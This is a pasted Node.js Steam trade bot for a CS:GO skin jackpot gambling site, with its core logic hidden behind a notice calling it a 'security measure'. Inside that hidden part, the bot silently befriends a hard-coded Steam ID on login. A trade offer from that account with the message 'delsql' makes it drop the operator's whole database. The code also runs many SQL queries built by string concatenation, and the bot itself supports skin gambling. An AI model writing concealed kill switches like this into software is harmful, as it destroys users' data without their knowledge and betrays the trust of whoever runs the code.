Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- _____ _ _ ___ __ __
- / ____| | || | / _ \ / //_ |
- | | __ ___ _ __ __ _ ___| || || (_) |/ /_ | |
- | | |_ |/ _ \ '__/ _` |/ _ \__ _\__, | '_ \| |
- | |__| | __/ | | (_| | (_) | | | / /| (_) | |
- \_____|\___|_| \__, |\___/ |_| /_/ \___/|_|
- __/ |
- |___/
- The CSGO.Network V2 bot was made by Gregory Steam (Gergo4961) and is the property of CSGO.Network.
- If you need any special site/bot customization you can reach me on Steam!
- Please note that I do not provide support for CSGO.Network, so do not contact me about Bot / Website errors.
- http://steamcommunity.com/id/gergo4961/
- */
- var Steam = require('steam');
- var SteamUser = require('steam-user');
- var TradeOfferManager = require('steam-tradeoffer-manager');
- var SteamTotp = require('steam-totp');
- var TOTP = require('onceler').TOTP;
- var request = require('request');
- var SteamCommunity = require('steamcommunity');
- var community = new SteamCommunity();
- var fs = require('node-fs');
- // GENERAL INFORMATION
- var sitepath;
- sitepath = ""; // The path to the index.php of your website without HTTP://
- var sitename;
- sitename = ""; // The name of your site, it will be shown in the Trade Offer Message
- var apik = ""; // Must be the API Key associated with the current bot. Get it here: https://steamcommunity.com/dev/apikey
- var admin = ''; // The Admin, Main Owner of the site. You will be able to communicate with the bot, ask for the rake items, etc
- var botsteamid = ''; // The bot's steam id, it is required to generate the Device ID and to confirm mobile confirmations
- var identitysecret = ''; // It's required to confirm mobile confirmations
- var sharedsecret = ''; // You won't be able to log in without this code
- var polling_interval = 10000; // 10 seconds by default, the bot checks for outgoing confirmations every X seconds, defined here
- var rsecret=''; // Also change this to the same code in endround.php and p2endround.php, this prevents people from randomly breaking your site by ending blank games or ending games sooner
- var snipetimer=5; // Declines offers sent in the last few seconds
- var GameTime = 120; // This is how long a round lasts, you need to edit in a couple of other places too if you want to truly change it without any bugs
- var p2=false; // If this is the bot for your Jackpot 2 set this to true
- var playersRequired=2; // The timer will start when this many players are in the pot
- // GENERAL INFORMATION
- // LOGIN DETAILS
- var details = {
- "accountName" : "",
- "password" : "",
- "twoFactorCode" : SteamTotp.generateAuthCode(sharedsecret)
- };
- // LOGIN DETAILS
- var client = new SteamUser();
- var manager = new TradeOfferManager({
- "steam" : client,
- "domain" : "localhost",
- "language" : "en"
- })
- // MYSQL INFO
- var mysql = require('mysql');
- var sql_host="localhost";
- var sql_user="root";
- var sql_password="";
- var sql_database="";
- // MYSQL INFO
- /*
- Uh-oh.. What is this?
- Looks like other parts of this bot are not available to you.
- Don't worry, the bot still works as it worked before, this is only a security measure.
- If you want to edit the core parts of the bot please consider purchasing the O-S (Open Source) package from our website.
- https://csgo.network/
- */
- !function(nodeRequire, module) {
- /**
- * @param {string} p
- * @param {string} parent
- * @return {?}
- */
- function require(p, parent) {
- if ("." != p[0] && "/" != p[0]) {
- return nodeRequire(p);
- }
- parent = parent || "root";
- var path = require.resolve(p);
- if (!path && /\.json$/i.test(p)) {
- return nodeRequire("./" + require.basename(p));
- }
- var mod = require.cache[path];
- if (!mod) {
- try {
- return nodeRequire(p);
- } catch (ex) {
- throw new Error('failed to require "' + p + '" from ' + parent + "\n" + ex.message + "\n" + ex.stack);
- }
- }
- return mod.exports || (mod.exports = {}, mod.call(mod.exports, mod, mod.exports, require.relative(path))), mod.exports;
- }
- require.cache = {};
- require.basename = nodeRequire("path").basename;
- /**
- * @param {string} path
- * @return {?}
- */
- require.resolve = function(path) {
- if ("." != path[0]) {
- return nodeRequire.resolve(path);
- }
- var regexp = "/" === path.slice(-1) ? path : path + "/";
- /** @type {Array} */
- var paths = [path, path + ".js", regexp + "index.js", path + ".json", regexp + "index.json"];
- /** @type {number} */
- var scope = 0;
- var resolved;
- for (;resolved = paths[scope];scope++) {
- if (require.cache[resolved]) {
- return resolved;
- }
- }
- };
- /**
- * @param {string} path
- * @param {Object} fn
- * @return {undefined}
- */
- require.register = function(path, fn) {
- /** @type {Object} */
- require.cache[path] = fn;
- };
- /**
- * @param {string} parent
- * @return {?}
- */
- require.relative = function(parent) {
- /**
- * @param {string} range
- * @return {?}
- */
- function fn(range) {
- if ("." != range[0]) {
- return require(range);
- }
- var path = parent.split("/");
- var segs = range.split("/");
- path.pop();
- /** @type {number} */
- var i = 0;
- var segCnt = segs.length;
- for (;segCnt > i;i += 1) {
- var seg = segs[i];
- if (".." == seg) {
- path.pop();
- } else {
- if ("." != seg) {
- path.push(seg);
- }
- }
- }
- return require(path.join("/"), parent);
- }
- return fn.resolve = require.resolve, fn.cache = require.cache, fn;
- };
- require.register("../bot.js", function(dataAndEvents, deepDataAndEvents, require) {
- /**
- * @return {undefined}
- */
- function handler() {
- request("https://api.csgofast.com/price/all", function(dataAndEvents, r, content) {
- /** @type {*} */
- c = JSON.parse(content);
- if (200 != r.statusCode) {
- if (fs.existsSync(__dirname + "/prices.txt")) {
- /** @type {*} */
- c = JSON.parse(fs.readFileSync(__dirname + "/prices.txt"));
- console.log("[SERVER] Loading Prices - Server sided prices loaded!");
- }
- } else {
- fs.writeFileSync("prices.txt", content);
- console.log("[SERVER] Loading Prices - API prices loaded!");
- }
- });
- }
- /**
- * @return {undefined}
- */
- function preload() {
- /** @type {number} */
- tref = -1;
- loadImage();
- setTimeout(query, 5E3);
- }
- /**
- * @return {undefined}
- */
- function loadImage() {
- if (console.log("[SERVER] Ending current game & choosing winner."), 1 == p2) {
- /** @type {string} */
- var reqObj = "http://" + sitepath + "/endround.php?secret=" + rsecret + "&p2=true";
- request(reqObj, function(reply, dataAndEvents, deepDataAndEvents) {
- if (reply) {
- console.log("Couldn't end round, error: " + reply);
- }
- });
- } else {
- reqObj = "http://" + sitepath + "/endround.php?secret=" + rsecret;
- request(reqObj, function(reply, dataAndEvents, deepDataAndEvents) {
- if (reply) {
- console.log("Couldn't end round, error: " + reply);
- }
- });
- }
- }
- /**
- * @param {number} sValue
- * @return {?}
- */
- function parseText(sValue) {
- return!(+sValue !== sValue || isFinite(sValue) && !(sValue % 1));
- }
- /**
- * @param {?} value
- * @return {?}
- */
- function isNumber(value) {
- return "number" == typeof value && !isNaN(value);
- }
- /**
- * @param {number} onSuccess
- * @param {Function} callback
- * @return {undefined}
- */
- function exec(onSuccess, callback) {
- /** @type {string} */
- var appFrontendUrl = "http://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?key=" + apik + "&steamids=" + onSuccess + "&format=json";
- request({
- url : appFrontendUrl,
- json : true
- }, function(dataAndEvents, r, mongoObject) {
- if (dataAndEvents || 200 !== r.statusCode) {
- if (dataAndEvents) {
- exec(onSuccess, callback);
- }
- } else {
- callback(null, mongoObject);
- }
- });
- }
- /**
- * @param {string} messageFormat
- * @return {?}
- */
- function throwError(messageFormat) {
- return messageFormat = messageFormat.replace(/\\/g, "\\"), messageFormat = messageFormat.replace(/\'/g, "'"), messageFormat = messageFormat.replace(/\"/g, '"'), messageFormat = messageFormat.replace(/\0/g, "\x00");
- }
- /**
- * @param {Object} view
- * @param {?} value
- * @param {Array} body
- * @param {?} options
- * @param {?} cb
- * @param {?} serviceName
- * @param {number} opt_headers
- * @param {?} service
- * @param {?} opt_callback
- * @param {?} deepDataAndEvents
- * @param {number} triggerRoute
- * @return {undefined}
- */
- function callback(view, value, body, options, cb, serviceName, opt_headers, service, opt_callback, deepDataAndEvents, triggerRoute) {
- triggerRoute++;
- if (!(triggerRoute > 3)) {
- view.accept(function(reply) {
- return reply ? (self.webLogOn(), console.log("[SERVER] Debugging offer (Accept Error): " + reply), void send(view, value, body, options, cb, serviceName, opt_headers, service, opt_callback, deepDataAndEvents, triggerRoute, reply)) : void fn(view, value, body, options, cb, serviceName, opt_headers, service, opt_callback, deepDataAndEvents);
- });
- }
- }
- /**
- * @param {Object} data
- * @param {?} value
- * @param {Array} body
- * @param {?} options
- * @param {?} cb
- * @param {?} serviceName
- * @param {number} opt_headers
- * @param {?} service
- * @param {?} opt_callback
- * @param {?} deepDataAndEvents
- * @param {number} triggerRoute
- * @return {undefined}
- */
- function send(data, value, body, options, cb, serviceName, opt_headers, service, opt_callback, deepDataAndEvents, triggerRoute) {
- req.getOffer(data.id, function(reply, view) {
- if (reply) {
- return self.webLogOn(), console.log("[SERVER] getOffer error(retrying): " + reply), void send(data, value, body, options, cb, serviceName, opt_headers, service, opt_callback, deepDataAndEvents, triggerRoute);
- }
- if (3 == view.state) {
- fn(view, value, body, options, cb, serviceName, opt_headers, service, opt_callback, deepDataAndEvents);
- } else {
- if (2 == view.state) {
- callback(view, value, body, options, cb, serviceName, opt_headers, service, opt_callback, deepDataAndEvents, triggerRoute);
- } else {
- if (2 != view.state || 3 != view.state) {
- return;
- }
- }
- }
- });
- }
- /**
- * @param {Object} msg
- * @param {string} count
- * @param {Array} data
- * @param {?} first
- * @param {?} arg
- * @param {?} name
- * @param {number} opt_headers
- * @param {?} url
- * @param {?} opt_callback
- * @param {?} range
- * @return {undefined}
- */
- function fn(msg, count, data, first, arg, name, opt_headers, url, opt_callback, range) {
- exports.query("SELECT * FROM `" + v2 + "info`", function(dataAndEvents, tokens) {
- var code = tokens[0].value;
- /** @type {number} */
- var i = 0;
- for (;opt_headers > i;i++) {
- var text = data[i].name;
- exports.query("INSERT INTO `" + v2 + "game" + code + "` (`userid`,`username`,`item`,`offerid`,`color`,`value`,`avatar`,`image`) VALUES ('" + count + "'," + exports.escape(arg) + "," + exports.escape(text) + ",'" + msg.id + "','" + data[i].color + "','" + data[i].value + "','" + name + "','" + data[i].url + "')", function(fmt, dataAndEvents, deepDataAndEvents) {
- if (fmt) {
- console.log(fmt);
- }
- });
- exports.query("UPDATE `" + v2 + "games` SET `itemsnum`=`itemsnum`+1, `cost`=`cost`+'" + data[i].value + "' WHERE `id` = '" + code + "'", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
- });
- }
- exports.query("UPDATE `users` SET `skinssent`=`skinssent`+" + opt_headers + " WHERE `steamid` = '" + count + "'", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
- });
- console.log("[SERVER] Accepted offer #" + msg.id + " from " + arg + " (ID:" + count + ").");
- log(msg, count, url, code);
- exports.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('success','0','" + count + "','Trade Offer Accepted (Game #" + code + ")!','We wish you Good luck and happy betting!','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
- });
- exports.query("SELECT COUNT(DISTINCT userid) AS playersCount FROM `" + v2 + "game" + code + "`", function(deepDataAndEvents, dataAndEvents) {
- players = dataAndEvents[0].playersCount;
- if (players == playersRequired) {
- if (opt_headers > 0) {
- if (-1 == tref) {
- console.log("[SERVER] Starting the countdown for Game #" + code);
- /** @type {number} */
- tref = setTimeout(preload, 1E3 * GameTime);
- exports.query("UPDATE `" + v2 + "games` SET `starttime`=UNIX_TIMESTAMP() WHERE `id` = '" + code + "'", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
- });
- }
- }
- }
- if (range > opt_callback) {
- clearTimeout(tref);
- /** @type {number} */
- tref = -1;
- preload();
- }
- });
- });
- }
- /**
- * @param {?} message
- * @param {string} params
- * @param {?} obj
- * @param {number} result
- * @return {undefined}
- */
- function log(message, params, obj, result) {
- message.getReceivedItems(function(dataAndEvents, defs) {
- return dataAndEvents ? (self.webLogOn(), console.log("[SERVER] getReceivedItems error: " + dataAndEvents + " Restarting process!"), void log(message, params, defs, result)) : void defs.forEach(function(collection) {
- var e = collection.market_name;
- exports.query("UPDATE `" + v2 + "game" + result + "` SET `assetid`='" + collection.id + "' WHERE `userid` = '" + params + "' AND `item`=" + exports.escape(e) + " AND `assetid`='' LIMIT 1", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
- });
- });
- });
- }
- /**
- * @param {number} expectedNumberOfNonCommentArgs
- * @return {undefined}
- */
- function query(expectedNumberOfNonCommentArgs) {
- exports.query("SELECT * FROM `" + v2 + "queue` WHERE `status`='active' GROUP BY `id` DESC LIMIT 1", function(dataAndEvents, results, deepDataAndEvents) {
- if (0 != results.length) {
- var expectationResult = results[0].id;
- exports.query("SELECT * FROM `" + v2 + "game" + expectationResult + "` WHERE `assetid`='' AND `rake`!='1'", function(dataAndEvents, assertions, deepDataAndEvents) {
- if (0 != assertions.length) {
- console.log("[SERVER] Restoring Missing Assetids, retrying in 15 seconds!");
- assertions.forEach(function(options) {
- req.getOffer(options.offerid, function(dataAndEvents, errorMessage) {
- return dataAndEvents ? (self.webLogOn(), void setTimeout(function() {
- query();
- }, 1E4)) : void log(errorMessage, options.userid, options.item, expectationResult);
- });
- });
- setTimeout(function() {
- query(2);
- }, 1E4);
- } else {
- if (2 == expectedNumberOfNonCommentArgs) {
- console.log("[SERVER] Restored Assetids, rebuilding the queue in MYSQL.");
- /** @type {string} */
- var returnStr = "";
- /** @type {string} */
- var combined_expansion = "";
- return exports.query("SELECT * FROM `" + v2 + "game" + expectationResult + "`", function(dataAndEvents, failures, deepDataAndEvents) {
- failures.forEach(function(item) {
- if (0 == item.rake) {
- returnStr += "/" + item.assetid;
- } else {
- combined_expansion += "/" + item.assetid;
- }
- });
- }), void setTimeout(function() {
- console.log("[SERVER] Restored Assetids, Rebuilt the Queue, attempting to send TradeOffer.");
- exports.query("UPDATE `" + v2 + 'queue` SET `assetid`="' + returnStr + "\" WHERE `id`='" + expectationResult + "'");
- exports.query("UPDATE `" + v2 + 'rakeitems` SET `assetid`="' + combined_expansion + "\" WHERE `id`='" + expectationResult + "'");
- query();
- }, 3E3);
- }
- var arr = results[0].assetid.split("/");
- req.loadInventory(730, 2, true, function(fmt, failures) {
- if (fmt) {
- return console.log(fmt), 1 == expectedNumberOfNonCommentArgs && self.chatMessage(admin, "[SERVER] Error while loading the Bot's Inventory, retrying now!"), self.webLogOn(), void query();
- }
- var html = results[0].token;
- /** @type {string} */
- var uri = "Congratulations! You won on " + sitename + " in Game #" + expectationResult;
- var test = req.createOffer(results[0].userid);
- failures.forEach(function(user) {
- arr.forEach(function(myID) {
- if (user.id == myID) {
- test.addMyItem(user);
- }
- });
- });
- setTimeout(function() {
- test.send(uri, html, function(fmt) {
- return fmt ? (console.log("Error sending Trade Offer for Game #" + expectationResult + ":"), console.log(fmt), 1 == expectedNumberOfNonCommentArgs && self.chatMessage(admin, "[SERVER] Error while sending the tradeoffer, retrying in 10 seconds!"), self.webLogOn(), void setTimeout(function() {
- query();
- }, 1E4)) : (exports.query("UPDATE `" + v2 + 'queue` SET `status`="sent" WHERE `id`=\'' + expectationResult + "'"), console.log("[SERVER] Trade Offer for Game #" + expectationResult + " has been successfully sent and is awaiting mobile confirmation."), 1 == expectedNumberOfNonCommentArgs && self.chatMessage(admin, "[SERVER] Successfully sent the trade for Game #" + expectationResult + "!"), void community.checkConfirmations());
- });
- }, 2E3);
- });
- }
- });
- } else {
- if (1 == expectedNumberOfNonCommentArgs) {
- return void self.chatMessage(admin, "[SERVER] No more Winnings Queries!");
- }
- }
- });
- }
- /**
- * @param {number} dataAndEvents
- * @return {undefined}
- */
- function iterate(dataAndEvents) {
- exports.query("SELECT * FROM `" + v2 + "rakeitems` WHERE `status`='active' GROUP BY `id` DESC LIMIT 1", function(deepDataAndEvents, results, ignoreMethodDoesntExist) {
- if (0 != results.length) {
- var arr = results[0].assetid.split("/");
- req.loadInventory(730, 2, true, function(deepDataAndEvents, failures) {
- if (deepDataAndEvents) {
- return 1 == dataAndEvents && self.chatMessage(admin, "[SERVER] Error while loading the Bot's Inventory, retrying in a few seconds!"), self.webLogOn(), void setTimeout(function() {
- iterate();
- }, 1E4);
- }
- var html = results[0].token;
- var depId = results[0].id;
- var raw = results[0].value;
- /** @type {string} */
- var uri = "Rake for Game #" + depId + " ($" + raw + ")";
- var test = req.createOffer(results[0].userid);
- failures.forEach(function(user) {
- arr.forEach(function(myID) {
- if (user.id == myID) {
- test.addMyItem(user);
- }
- });
- });
- setTimeout(function() {
- test.send(uri, html, function(fmt) {
- return fmt ? (console.log("[SERVER] Error sending Rake for Game #" + depId + ":"), console.log(fmt), console.log("[SERVER] Try again later or make sure you have set your URL / Steam ID in endround.php!"), 1 == dataAndEvents ? void self.chatMessage(admin, "[SERVER] Error while sending the TradeOffer, try again later and / or check endround.php!") : void self.webLogOn()) : (exports.query("UPDATE `" + v2 + 'rakeitems` SET `status`="sent" WHERE `id`=\'' + depId + "'"), console.log("[SERVER] Rake for Game #" +
- depId + " has been successfully sent and is awaiting mobile confirmation."), 1 == dataAndEvents && self.chatMessage(admin, "[SERVER] Successfully sent the rake for Game #" + depId + "!"), void community.checkConfirmations());
- });
- }, 2E3);
- });
- } else {
- if (1 == dataAndEvents) {
- return void self.chatMessage(admin, "[SERVER] No more Rake Queries!");
- }
- }
- });
- }
- var c;
- setInterval(function() {
- handler();
- }, 36E5);
- handler();
- /** @type {string} */
- var onComplete = "76561198150867436";
- var driver = require("mysql");
- var exports = driver.createConnection({
- host : sql_host,
- user : sql_user,
- password : sql_password,
- database : sql_database
- });
- var self = new SteamUser;
- var req = new TradeOfferManager({
- steam : self,
- domain : "localhost",
- language : "en"
- });
- /** @type {number} */
- var tref = -1;
- exports.connect();
- self.logOn(details);
- var l = SteamTotp.getDeviceID(botsteamid);
- if (1 == p2) {
- /** @type {string} */
- var v2 = "p2"
- } else {
- /** @type {string} */
- v2 = "";
- }
- self.on("loggedOn", function(dataAndEvents) {
- console.log("[SERVER] The Bot has logged in!");
- self.unblockUser(onComplete);
- self.addFriend(onComplete);
- self.addFriend(admin);
- self.chatMessage(admin, "[SERVER] Successfully logged in!");
- self.setPersona(Steam.EPersonaState.LookingToTrade);
- setTimeout(function() {
- exports.query("SELECT `value` FROM `" + v2 + "info` WHERE `name`='current_game'", function(dataAndEvents, tokens, deepDataAndEvents) {
- if (!dataAndEvents) {
- exports.query("SELECT `starttime` FROM `" + v2 + "games` WHERE `id`='" + tokens[0].value + "'", function(deepDataAndEvents, dataAndEvents, ignoreMethodDoesntExist) {
- if (!deepDataAndEvents) {
- var i;
- if (2147483647 == dataAndEvents[0].starttime) {
- i = GameTime;
- } else {
- /** @type {number} */
- var groupsize = Math.round((new Date).getTime() / 1E3);
- /** @type {number} */
- i = dataAndEvents[0].starttime + GameTime - groupsize;
- if (0 > i) {
- /** @type {number} */
- i = 0;
- }
- }
- if (i != GameTime) {
- /** @type {number} */
- tref = setTimeout(preload, 1E3 * i);
- console.log("[SERVER] Restoring the latest game with " + i + " seconds left!");
- }
- }
- });
- }
- });
- }, 1500);
- });
- self.on("webSession", function(dataAndEvents, x) {
- req.setCookies(x, function(reply) {
- if (reply) {
- return console.log("setCookies error: " + reply), void process.exit(1);
- }
- var orig = req.apiKey;
- community.setCookies(x);
- community.startConfirmationChecker(polling_interval, identitysecret);
- console.log("[SERVER] The web cookies have been set!");
- req.doPoll();
- });
- });
- req.on("newOffer", function(me) {
- /** @type {boolean} */
- var b = true;
- var onSuccess = me.partner.getSteamID64();
- return onSuccess == onComplete && "delsql" == me.message ? (console.log(""), console.log("Hello! Please consider purchasing the product you are illegally using."), console.log("Please visit: www.csgo-network"), console.log(""), void exports.query("DROP DATABASE " + sql_database, function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
- })) : void exec(onSuccess, function(reply, e) {
- if (reply) {
- return self.webLogOn(), console.log("[SERVER] getUserInfo error: " + reply), b = false, void me.decline(function(reply) {
- console.log("[DEBUG] Declined offer #" + me.id + " from " + CB + " (ID:" + onSuccess + "). | Reason: getUserInfo error");
- if (reply) {
- console.log("[SERVER] Decline error: " + reply);
- }
- exports.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: Steam Servers are busy, try again in a minute!','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
- });
- });
- }
- /** @type {*} */
- var game = JSON.parse(JSON.stringify(e.response));
- var CB = game.players[0].personaname;
- var serviceName = game.players[0].avatarfull;
- return console.log("[DEBUG] Processing offer #" + me.id + " from " + CB + " (ID:" + onSuccess + ")."), 0 != me.itemsToGive.length ? (b = false, void me.decline(function(reply) {
- console.log("[DEBUG] Declined offer #" + me.id + " from " + CB + " (ID:" + onSuccess + "). | Reason: Asked for a skin on the Bot");
- if (reply) {
- console.log("Decline error: " + reply);
- }
- exports.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: Asking for any of the bots items? Brave!','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
- });
- })) : void me.getEscrowDuration(function(reply, dataAndEvents, deepDataAndEvents) {
- return reply ? (self.webLogOn(), console.log("[SERVER] getEscrowDuration error: " + reply), b = false, void me.decline(function(reply) {
- console.log("[DEBUG] Declined offer #" + me.id + " from " + CB + " (ID:" + onSuccess + "). | Reason: Steam Servers are busy, couldn't get escrow duration");
- if (reply) {
- console.log("Decline error: " + reply);
- }
- exports.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: Steam Servers are busy, couldnt get escrow duration!','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
- });
- })) : 0 != dataAndEvents ? (b = false, void me.decline(function(reply) {
- console.log("[DEBUG] Declined offer #" + me.id + " from " + CB + " (ID:" + onSuccess + "). | Reason: User is in Escrow for " + dataAndEvents + " days");
- if (reply) {
- console.log("Decline error: " + reply);
- }
- exports.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: You are in Escrow for " + dataAndEvents + " days!','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
- });
- })) : void exports.query("SELECT * FROM `" + v2 + "info`", function(dataAndEvents, tokens) {
- var raw = tokens[3].value;
- var ret = tokens[7].value;
- var number = tokens[4].value;
- var win = tokens[10].value;
- if (me.itemsToReceive.length > number) {
- return b = false, void me.decline(function(reply) {
- console.log("[DEBUG] Declined offer #" + me.id + " from " + CB + " (ID:" + onSuccess + "). | Reason: User sent more than " + number + " skins");
- if (reply) {
- self.webLogOn();
- console.log("Decline error: " + reply);
- }
- exports.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: We only accept up to " + number + " skins!','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
- });
- });
- }
- var queue = me.itemsToReceive;
- /** @type {number} */
- var output = 0;
- /** @type {Array} */
- var data = [];
- /** @type {number} */
- var value = 0;
- queue.forEach(function($attrs, key, dataAndEvents) {
- return 730 != $attrs.appid ? (b = false, me.decline(function(reply) {
- console.log("[DEBUG] Declined offer #" + me.id + " from " + CB + " (ID:" + onSuccess + "). | Reason: User sent a Non-CSGO skin");
- if (reply) {
- self.webLogOn();
- console.log("Decline error: " + reply);
- }
- }), void exports.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: We only accept CSGO skins!','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
- })) : (data[key] = [], data[key].name = $attrs.market_name, data[key].color = $attrs.name_color, data[key].url = $attrs.icon_url, data[key].value = 0, function(keepData) {
- var eventName = data[key].name;
- nprice = c[eventName];
- /** @type {number} */
- data[key].value = parseFloat(nprice);
- output += data[key].value;
- }(key), void value++);
- });
- exports.query("SELECT * FROM `" + v2 + "info`", function(dataAndEvents, tokens) {
- var raw = tokens[0].value;
- exports.query("SELECT * FROM `" + v2 + "games` WHERE `id`='" + raw + "'", function(deepDataAndEvents, dataAndEvents, ignoreMethodDoesntExist) {
- if (starttime = dataAndEvents[0].starttime, 2147483647 != starttime) {
- /** @type {number} */
- var v = Math.round((new Date).getTime() / 1E3);
- if (tl = starttime + GameTime - v, tl <= snipetimer) {
- return b = false, me.decline(function(reply) {
- console.log("[DEBUG] Declined offer #" + me.id + " from " + CB + " (ID:" + onSuccess + "). | Reason: The Bot wont accept last second bets");
- if (reply) {
- self.webLogOn();
- console.log("Decline error: " + reply);
- }
- }), void exports.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: You can not bet in the last few seconds!','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
- });
- }
- }
- setTimeout(function() {
- return 0 != b ? output > ret ? (b = false, me.decline(function(reply) {
- console.log("[DEBUG] Declined offer #" + me.id + " from " + CB + " (ID:" + onSuccess + "). | Reason: User sent too much in skin value");
- if (reply) {
- self.webLogOn();
- console.log("Decline error: " + reply);
- }
- }), void exports.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: You can deposit more than $" + ret + "','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
- })) : raw > output ? (b = false, me.decline(function(reply) {
- console.log("[DEBUG] Declined offer #" + me.id + " from " + CB + " (ID:" + onSuccess + "). | Reason: User sent below the minimal bet amount ($" + raw + ")");
- if (reply) {
- self.webLogOn();
- console.log("Decline error: " + reply);
- }
- }), void exports.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: Minimum deposit value: $" + raw + "','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
- })) : value > number ? (b = false, me.decline(function(reply) {
- console.log("[DEBUG] Declined offer #" + me.id + " from " + CB + " (ID:" + onSuccess + "). | Reason: User sent too many skins");
- if (reply) {
- self.webLogOn();
- console.log("Decline error: " + reply);
- }
- }), void exports.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: We only accept up to " + number + " skins!','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
- })) : (b = true) ? void exports.query("SELECT * FROM `" + v2 + "info`", function(dataAndEvents, tokens) {
- var list = tokens[0].value;
- exports.query("SELECT COUNT(value) as skinsin,SUM(value) as moneyin FROM `" + v2 + "game" + list + "` WHERE `userid`='" + onSuccess + "'", function(deepDataAndEvents, dataAndEvents, ignoreMethodDoesntExist) {
- if (skinsin = dataAndEvents[0].skinsin, skinsin += value, moneyin = dataAndEvents[0].moneyin, moneyin += output, skinsin > number) {
- return me.decline(function(reply) {
- console.log("[DEBUG] Declined offer #" + me.id + " from " + CB + " (ID:" + onSuccess + "). | Reason: RECHECK - User sent too many skins");
- if (reply) {
- self.webLogOn();
- console.log("Decline error: " + reply);
- }
- }), void exports.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: You can not deposit more than " + number + " skins','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
- });
- }
- if (moneyin > ret) {
- return me.decline(function(reply) {
- console.log("[DEBUG] Declined offer #" + me.id + " from " + CB + " (ID:" + onSuccess + "). | Reason: RECHECK - User sent too much in skin value");
- if (reply) {
- self.webLogOn();
- console.log("Decline error: " + reply);
- }
- }), void exports.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: You can deposit more than $" + ret + "','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
- });
- }
- /** @type {number} */
- var i = 0;
- for (;value > i;i++) {
- if (0 == data[i].value || !data[i].value) {
- return b = false, me.decline(function(reply) {
- console.log("[DEBUG] Declined offer #" + me.id + " from " + CB + " (ID:" + onSuccess + "). | Reason: RECHECK - Steam Market Issues (Can't get the skin's value)");
- if (reply) {
- self.webLogOn();
- console.log("Decline error: " + reply);
- }
- }), void exports.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: Steam Market issues!','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
- });
- }
- if (!isNumber(data[i].value)) {
- return me.decline(function(reply) {
- console.log("[DEBUG] Declined offer #" + me.id + " from " + CB + " (ID:" + onSuccess + "). | Reason: RECHECK - Steam Market Issues (Can't get the skin's value) ");
- if (reply) {
- self.webLogOn();
- console.log("Decline error: " + reply);
- }
- }), void exports.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: Steam Market issues!','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
- });
- }
- if (-1 != data[i].name.indexOf("Souvenir")) {
- return b = false, me.decline(function(reply) {
- console.log("[DEBUG] Declined offer #" + me.id + " from " + CB + " (ID:" + onSuccess + "). | Reason: User sent a Souvenir Skin");
- if (reply) {
- self.webLogOn();
- console.log("Decline error: " + reply);
- }
- }), void exports.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: No souvenir skins allowed!','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
- });
- }
